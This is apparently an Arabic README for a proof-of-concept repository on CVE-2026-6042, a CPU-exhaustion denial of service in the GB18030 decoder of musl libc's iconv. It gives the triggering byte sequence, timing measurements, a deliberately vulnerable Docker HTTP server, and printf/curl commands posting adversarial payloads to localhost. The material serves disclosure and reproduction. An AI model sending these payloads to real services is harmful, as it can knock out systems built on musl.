
إثبات المفهوم واختبار شامل من البداية إلى النهاية لهجوم الحرمان من الخدمة عبر التعقيد الخوارزمي في musl libc 0.8.0-1.2.6 المخصص له CVE-2026-6042
iconv بمكتبة musl libcحلقات تخطي الفجوات في مفكك ترميز GB18030 رباعي البايت في iconv بمكتبة musl تسمح لمدخلات صغيرة مصممة بعناية باستهلاك وقت معالجة CPU غير متناسب. يمكن لحمولة خبيثة بحجم 40 كيلوبايت أن تُبقي نواة معالج مشغولة لأكثر من 40 دقيقة.
خلافًا لما ذكرته النشرات الأمنية، فإن ناقل الهجوم لهذا الاستغلال هو الشبكة بوضوح، وليس محليًا. ينبع هذا من حقيقة أن VulDB لا يفهم فعليًا الثغرات التي يقوم بتعيينها.
متجه CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (عالي)
| الحقل | التفاصيل |
|---|
| البرنامج المتأثر | musl libc (تنفيذ iconv) |
| الترميزات المتأثرة | GB18030 (تسلسلات رباعية البايت) |
| النوع | تعقيد خوارزمي / رفض خدمة |
| الإصدارات المؤكدة | musl 1.2.5 (Alpine 3.21)، musl 1.2.6 (مُجمّع من المصدر) |
| الإصدارات المحتمل تأثرها | جميع إصدارات musl منذ إدخال دعم GB18030 وUHC/CP949 |
| سطح الهجوم | أي خدمة مبنية على musl تستدعي iconv() على مدخلات غير موثوقة بهذه الترميزات |
يقوم مفكك ترميز GB18030 رباعي البايت في musl (src/locale/iconv.c، تقريبًا الأسطر 434-442) بتحويل تسلسل إدخال رباعي البايت إلى فهرس خطي ثم يمر عبر حلقة تخطي فجوات لربط هذا الفهرس بنقطة رمز Unicode. لكل حرف يتم فك ترميزه، تتكرر الحلقة الداخلية عبر جدول gb18030[126][190] بأكمله (23,940 إدخالًا) لحساب عدد نقاط الرموز المعيّنة ببايتين التي تقع ضمن نطاق منزلق.
ينتج التسلسل البايتي 82 35 8F 33 فهرسًا خطيًا قيمته 19,171، والذي يقع مباشرة أسفل نطاق CJK الموحد الكثيف (U+4E00-U+9FBD، حوالي 20,902 إدخالًا). يجب على حلقة تخطي الفجوات بعد ذلك مطاردة الكتلة الكثيفة بأكملها إدخالًا واحدًا في كل مرة، مُنفِّذة حوالي 20,905 تكرارًا خارجيًا، كل منها يفحص جميع إدخالات الجدول البالغة 23,940. وهذا يعني حوالي 500 مليون مقارنة لكل حرف إدخال.
نظرًا لأن التكلفة تتزايد خطيًا مع عدد الأحرف الخبيثة في الإدخال، وكل حرف يُطلق بشكل مستقل الحلقة الداخلية الكاملة، فإن إجمالي العمل هو O(n * k^2) حيث n هو عدد أحرف الإدخال وk هو حجم جدول البحث.
أي نظام مبني على musl (Alpine Linux، Void Linux، postmarketOS، صور الحاويات/الأنظمة المدمجة، إلخ) يشغّل خدمة تقوم بتحويل ترميز GB18030 أو EUC-KR من مدخلات يقدمها المستخدم عبر iconv() يكون عرضة لرفض الخدمة.
الأوقات المتوقعة على نواة واحدة (مُقاسة على Alpine 3.21 / musl 1.2.5):
| الإدخال | الوقت |
|---|---|
| حرف خبيث واحد (4 بايت) | ~0.26 ثانية |
| 100 حرف (400 بايت) | ~26 ثانية |
| 1,000 حرف (4 كيلوبايت) | ~4.3 دقيقة |
| 10,000 حرف (40 كيلوبايت) | ~43 دقيقة |
للمقارنة، يتم فك ترميز 100 حرف GB18030 غير ضار في ميكروثانية.
| الملف | الوصف |
|---|---|
poc_gb18030_dos.c | إثبات مفهوم مستقل: يقيس وقت فك ترميز GB18030 الضار مقابل غير الضار عبر iconv() |
server.c | خادم HTTP بسيط يحوّل أجسام POST عبر iconv()، محاكيًا سطح هجوم حقيقي |
Dockerfile | صورة حاوية Alpine Linux تقوم ببناء وتشغيل الخادم الضعيف |
test.sh | سكربت اختبار شامل: يرسل حمولات ضارة وغير ضارة إلى الخادم ويقارن أوقات الاستجابة |
iconv المباشر)البناء والتشغيل على أي نظام مبني على musl:
# على Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
أو عبر Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
المخرجات المتوقعة: الأحرف غير الضارة تُفك ترميزها في ميكروثانية؛ حرف خبيث واحد (82 35 8F 33) يستغرق ~0.26 ثانية.
بناء وتشغيل الخادم الضعيف:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
في طرفية أخرى، قم بتشغيل سكربت الاختبار:
./test.sh
أو أرسل حمولة يدويًا:
# غير ضار: 100 حرف، يجب أن يعود فورًا
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# خبيث: 5 أحرف فقط، يجب أن يستغرق >1 ثانية
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
يُبلغ ترويسة الاستجابة X-Transcode-Time عن الوقت المستغرق داخل iconv().
تُظهر لقطة الشاشة أدناه التوسع الخطي للإدخال الخبيث مقابل خادم Docker: 20 حرفًا (80 بايت) يستغرق ~5.2 ثانية، و80 حرفًا (320 بايت) يستغرق ~20.8 ثانية، و160 حرفًا (640 بايت) يستغرق ~41.5 ثانية.

| التسلسل | الفهرس الخطي | السلوك |
|---|---|---|
81 30 81 30 (غير ضار) | 128 | نقطة رمز منخفضة؛ حلقة تخطي الفجوات تنتهي بسرعة |
82 35 8F 33 (خبيث) | 19,171 | يقع مباشرة أسفل كتلة CJK الكثيفة؛ يُطلق ~500 مليون مقارنة |
82 35 90 30 (خبيث) | ~19,200 | نفس المنطقة، تكلفة مماثلة |
يُنشر هذا المستودع لأغراض البحث الأمني والإفصاح المسؤول. الكود مُقدم فقط لإعادة إنتاج والتحقق من CVE-2026-6042. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.